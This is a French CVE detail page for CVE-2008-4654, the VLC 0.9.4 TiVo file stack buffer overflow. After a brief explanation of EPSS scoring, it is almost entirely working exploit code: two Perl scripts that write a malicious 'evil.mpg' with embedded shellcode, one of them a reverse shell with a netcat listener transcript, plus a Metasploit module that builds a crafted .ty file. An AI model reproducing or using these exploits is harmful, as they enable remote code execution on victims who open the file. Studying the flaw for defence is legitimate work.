CVE-2008-4654 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

#!/usr/bin/perl # 10/23/2008 k`sOSe # Rewritten VLC 0.9.4 .TY File Buffer Overflow Exploit # 1 - Works on Windows XP SP1, SP2, SP3 (and probably win2k) # 2 - Works both with a local file and with a remote url # 3 - VLC do not crash! # 4 - Enjoy a respawing shell, even if VLC will be closed! # # bUGGEd htdocs # nc -l -p 443 # Microsoft Windows XP [Version 5.1.2600] # (C) Copyright 1985-2001 Microsoft Corp. # # e:\Program Files\VideoLAN\VLC>exit # exit # bUGGEd htdocs # nc -l -p 443 # Microsoft Windows XP [Version 5.1.2600] # (C) Copyright 1985-2001 Microsoft Corp. # # e:\Program Files\VideoLAN\VLC>exit # exit # bUGGEd htdocs # nc -l -p 443 # Microsoft Windows XP [Version 5.1.2600] # (C) Copyright 1985-2001 Microsoft Corp. # # e:\Program Files\VideoLAN\VLC> use warnings; use strict; # windows/exec - 141 bytes # http://www.metasploit.com my $shellcode = # windows/shell_reverse_tcp - 287 bytes # http://www.metasploit.com # EXITFUNC=seh, LPORT=443, LHOST=127.0.0.1 "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24" . "\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f" . "\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84" . "\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28" . "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c" . "\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64" . "\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40\x08\x5e" . "\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" . "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50" . "\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff" . "\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43" . "\x53\x43\x53\xff\xd0\x68\x7f\x00\x00\x01\x66\x68\x01\xbb" . "\x66\x53\x89\xe1\x95\x68\xec\xf9\xaa\x60\x57\xff\xd6\x6a" . "\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68\x63\x6d\x6a\x50" . "\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3\xaa\x95" . "\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" . "\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51" . "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05" . "\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6" . "\x79\xff\x75\x04\xff\xd6\xff\x77\xfc\xff\xd0\x68\xf0\x8a" . "\x04\x5f\x53\xff\xd6\xff\xd0"; my $junk = "\x41"; open(my $file, "> evil.mpg"); print $file "\xF5\x46\x7A\xBD" . # TIVO_PES_FILEID "\x00\x00\x00\x02" . "\x00\x02\x00\x00" . # CHUNK_SIZE $junk x 8 . "\x00\x00\x05\x41" . # i_map_size $junk x 4 . "\x00\x00\x05\x49" . # SEQ table size / (i_map_size + 8) == 1 $junk x 60 . "\xb3\x57\x04\x7d" . # jmp esp for winxp sp2.. if it fails SEH will be triggered $shellcode . $shellcode . $junk x (733 - length($shellcode)) . "\xeb\x06\x90\x90" . # jump ahead "\x13\x12\x54\x6a" . # pop,pop,ret @ libvlc 0.9.4 "\xe9\x16\xfd\xff\xff". # jump back $junk x 129943 . "\x05" . # i_num_recs $junk x 3 . "\x05" . # p_hdrs $junk x 1 . "\x09" . # subrec_type \ # (subrec type & 0x0f) << 8 | rec_type == 0x9c0 -> AC-3 Audio (DTivo) "\xc0" . # rec_type / $junk x 14 . "\x06" . # subrec_type \ # (subrec type & 0x0f) << 8 | rec_type == 0x6e0 -> Series 1 Tivo "\xe0" . # rec_type / $junk x 531062; # milw0rm.com [2008-10-23]

#!/usr/bin/perl # 10/21/2008 k`sOSe use warnings; use strict; # windows/exec - 141 bytes # http://www.metasploit.com my $shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" . "\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" . "\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" . "\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" . "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" . "\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" . "\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" . "\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" . "\x43\x3a\x5c\x57\x49\x4e\x44\x4f\x57\x53\x5c\x73\x79\x73" . "\x74\x65\x6d\x33\x32\x5c\x63\x61\x6c\x63\x2e\x65\x78\x65" . "\x00"; usage() if(!defined(@ARGV) or scalar(@ARGV) < 1 or $ARGV[0] !~ /^\d$/ or $ARGV[0] > 1); my @targets = ( "\x24\x11\x62\x77", # jmp esp @ shell32.dll - Win XP SP1 "\xb3\x57\x04\x7d" # jmp esp @ shell32.dll - Win XP SP2 ); my $junk = "\x41"; open(my $file, "> evil.mpg"); print $file "\xF5\x46\x7A\xBD" . # TIVO_PES_FILEID "\x00\x00\x00\x02" . "\x00\x02\x00\x00" . # CHUNK_SIZE $junk x 8 . "\x00\x00\x05\x41" . # i_map_size $junk x 4 . "\x00\x00\x05\x49" . # SEQ table size / (i_map_size + 8) == 1 $junk x 60 . $targets[$ARGV[0]] . $shellcode . $junk x 130835 . "\x05" . # i_num_recs $junk x 3 . "\x05" . # p_hdrs $junk x 1 . "\x09" . # subrec_type \ # (subrec type & 0x0f) << 8 | rec_type == 0x9c0 -> AC-3 Audio (DTivo) "\xc0" . # rec_type / $junk x 14 . "\x06" . # subrec_type \ # (subrec type & 0x0f) << 8 | rec_type == 0x6e0 -> Series 1 Tivo "\xe0" . # rec_type / $junk x 531062; sub usage { print <<EOM; VLC Media Player TY File Stack Based Buffer Overflow Exploit k`sOSe - 10/21/2008 usage: $0 <target> targets: 0 - Windows XP SP1 1 - Windows XP SP2 EOM exit; } # milw0rm.com [2008-10-21]

## # $Id: videolan_tivo.rb 11701 2011-02-02 21:47:02Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'VideoLAN VLC TiVo Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in VideoLAN VLC 0.9.4. By creating a malicious TY file, a remote attacker could overflow a buffer and execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => 'MC', 'Version' => '$Revision: 11701 $', 'References' => [ [ 'CVE', '2008-4654' ], [ 'OSVDB', '49181' ], [ 'BID', '31813' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 550, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ # From /misc/ version #[ 'VideoLAN VLC 0.9.4', { 'Ret' => 0x6a5e6710 } ], #[ 'VideoLAN VLC 0.9.2', { 'Ret' => 0x6a5e69d7 } ], [ 'VideoLAN VLC 0.9.4 (XP SP3 English)', { 'Ret' => 0x6a575cad } ], [ 'VideoLAN VLC 0.9.2 (XP SP3 English)', { 'Ret' => 0x65473351 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Oct 22 2008', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.ty']), ], self.class) end def exploit ty = "\xF5\x46\x7A\xBD" ty << "\x00\x00\x00\x02" ty << "\x00\x02\x00\x00" ty << "\x00" * 8 ty << "\x00\x00\x05\x41" ty << "\x00" * 4 ty << "\x00\x00\x05\x49" ty << "\x00" * 60 # From /misc/ version #ty << "\x00" * (1024 - payload.encoded.length) + payload.encoded #ty << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V') #ty << make_nops(12) + [0xe8, -525].pack('CV') + "\x00" * (129931) ty << [target.ret].pack('V') + payload.encoded + make_nops(12) ty << "\x00" * (130980 - 4 - payload.encoded.length - 12) ty << "\x05" ty << "\x00" * 3 ty << "\x05" ty << "\x00" * 1 ty << "\x09" ty << "\xc0" ty << "\x00" * 14 ty << "\x06" ty << "\xe0" ty << "\x00" * 302004 print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(ty) end end